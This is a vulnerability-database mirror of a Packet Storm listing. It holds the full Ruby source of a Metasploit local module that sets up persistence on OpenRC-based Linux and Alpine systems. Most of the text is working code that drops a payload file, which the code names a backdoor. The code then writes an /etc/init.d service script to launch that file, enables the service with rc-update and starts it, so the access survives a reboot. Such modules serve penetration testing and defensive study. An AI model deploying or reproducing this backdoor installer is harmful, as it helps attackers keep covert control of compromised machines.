Lucene search
K

📄 Init OpenRC Persistence

🗓️ 16 Sep 2025 00:00:00Reported by h00dieType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 157 Views

Creates an OpenRC persistence service on Linux and Alpine Linux with auto-restart.

Code
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Local
      Rank = ExcellentRanking
    
      include Msf::Post::File
      include Msf::Post::Unix
      include Msf::Exploit::FileDropper
      include Msf::Exploit::EXE # for generate_payload_exe
      include Msf::Exploit::Local::Persistence
      prepend Msf::Exploit::Remote::AutoCheck
      include Msf::Exploit::Deprecated
      moved_from 'exploits/linux/local/service_persistence'
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Init OpenRC Persistence',
            'Description' => %q{
              This module will create a service on the box via OpenRC, and mark it for auto-restart.
              We need enough access to write service files and potentially restart services.
              Verified against alpine 3.21.2
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'h00die',
            ],
            'Platform' => ['unix', 'linux'],
            'Targets' => [
              ['Automatic', {}]
            ],
            'DefaultTarget' => 0,
            'Arch' => [
              ARCH_CMD,
              ARCH_X86,
              ARCH_X64,
              ARCH_ARMLE,
              ARCH_AARCH64,
              ARCH_PPC,
              ARCH_MIPSLE,
              ARCH_MIPSBE
            ],
            'References' => [
              ['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples'],
              ['ATT&CK', Mitre::Attack::Technique::T1543_CREATE_OR_MODIFY_SYSTEM_PROCESS],
              ['URL', 'https://wiki.alpinelinux.org/wiki/Writing_Init_Scripts'],
              ['URL', 'https://wiki.alpinelinux.org/wiki/OpenRC'],
              ['URL', 'https://github.com/OpenRC/openrc/blob/master/service-script-guide.md'],
            ],
            'SessionTypes' => ['shell', 'meterpreter'],
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
              'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
            },
            'DisclosureDate' => '2007-04-05' # openrc release date
          )
        )
    
        register_options(
          [
            OptString.new('SERVICE', [false, 'Name of service to create']),
            OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']),
          ]
        )
        register_advanced_options(
          [
            OptBool.new('EnableService', [true, 'Enable the service', true])
          ]
        )
      end
    
      def check
        print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
        return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)
        return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir)
        return CheckCode::Safe('/etc/init.d/ doesnt exist') unless exists?('/etc/init.d/')
        return CheckCode::Safe('/etc/init.d/ isnt writable') unless writable?('/etc/init.d/')
    
        return CheckCode::Safe('Likely not an openrc based system') unless command_exists?('openrc')
    
        CheckCode::Appears("#{writable_dir} is writable and system is openrc based")
      end
    
      def install_persistence
        print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
        backdoor = write_shell(writable_dir)
    
        path = backdoor.split('/')[0...-1].join('/')
        file = backdoor.split('/')[-1]
    
        openrc(path, file)
      end
    
      def write_shell(path)
        file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)
        backdoor = "#{path}/#{file_name}"
        vprint_status("Writing backdoor to #{backdoor}")
    
        if payload.arch.first == 'cmd'
          write_file(backdoor, payload.encoded)
          chmod(backdoor, 0o755)
        else
          upload_and_chmodx(backdoor, generate_payload_exe)
        end
    
        @clean_up_rc << "rm #{backdoor}\n"
    
        fail_with(Failure::NoAccess, 'File not written, check permissions.') unless file_exist?(backdoor)
        backdoor
      end
    
      def openrc(backdoor_path, backdoor_file)
        if payload.arch.first == 'cmd'
          script = %(#!/sbin/openrc-run
    name=#{backdoor_file}
    command=/bin/sh
    command_args="#{backdoor_path}/#{backdoor_file}"
    pidfile="/run/${RC_SVCNAME}.pid"
    command_background="yes"
    )
        else
          script = %(#!/sbin/openrc-run
    name=#{backdoor_file}
    command="#{backdoor_path}/#{backdoor_file}"
    command_args=""
    pidfile="/run/${RC_SVCNAME}.pid"
    command_background="yes"
    )
        end
    
        service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7..12)
        service_path = "/etc/init.d/#{service_filename}"
        vprint_status("Writing service: #{service_path}")
        begin
          upload_and_chmodx(service_path, script)
          @clean_up_rc << "rm #{service_path}\n"
        rescue Rex::Post::Meterpreter::RequestError
          print_error("Writing '#{service_path}' to the target and or changing the file permissions failed")
        end
    
        fail_with(Failure::NoAccess, 'Service file not written, check permissions.') unless file_exist?(service_path)
    
        if datastore['EnableService']
          vprint_status('Enabling service')
          cmd_exec("rc-update add '#{service_filename}'")
          @clean_up_rc << "execute -f sh -a \"-c 'rc-update del #{service_filename}'\""
        end
    
        print_good('Starting service')
        cmd_exec("'#{service_path}' start")
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Sep 2025 00:00Current
7High risk
Vulners AI Score7
157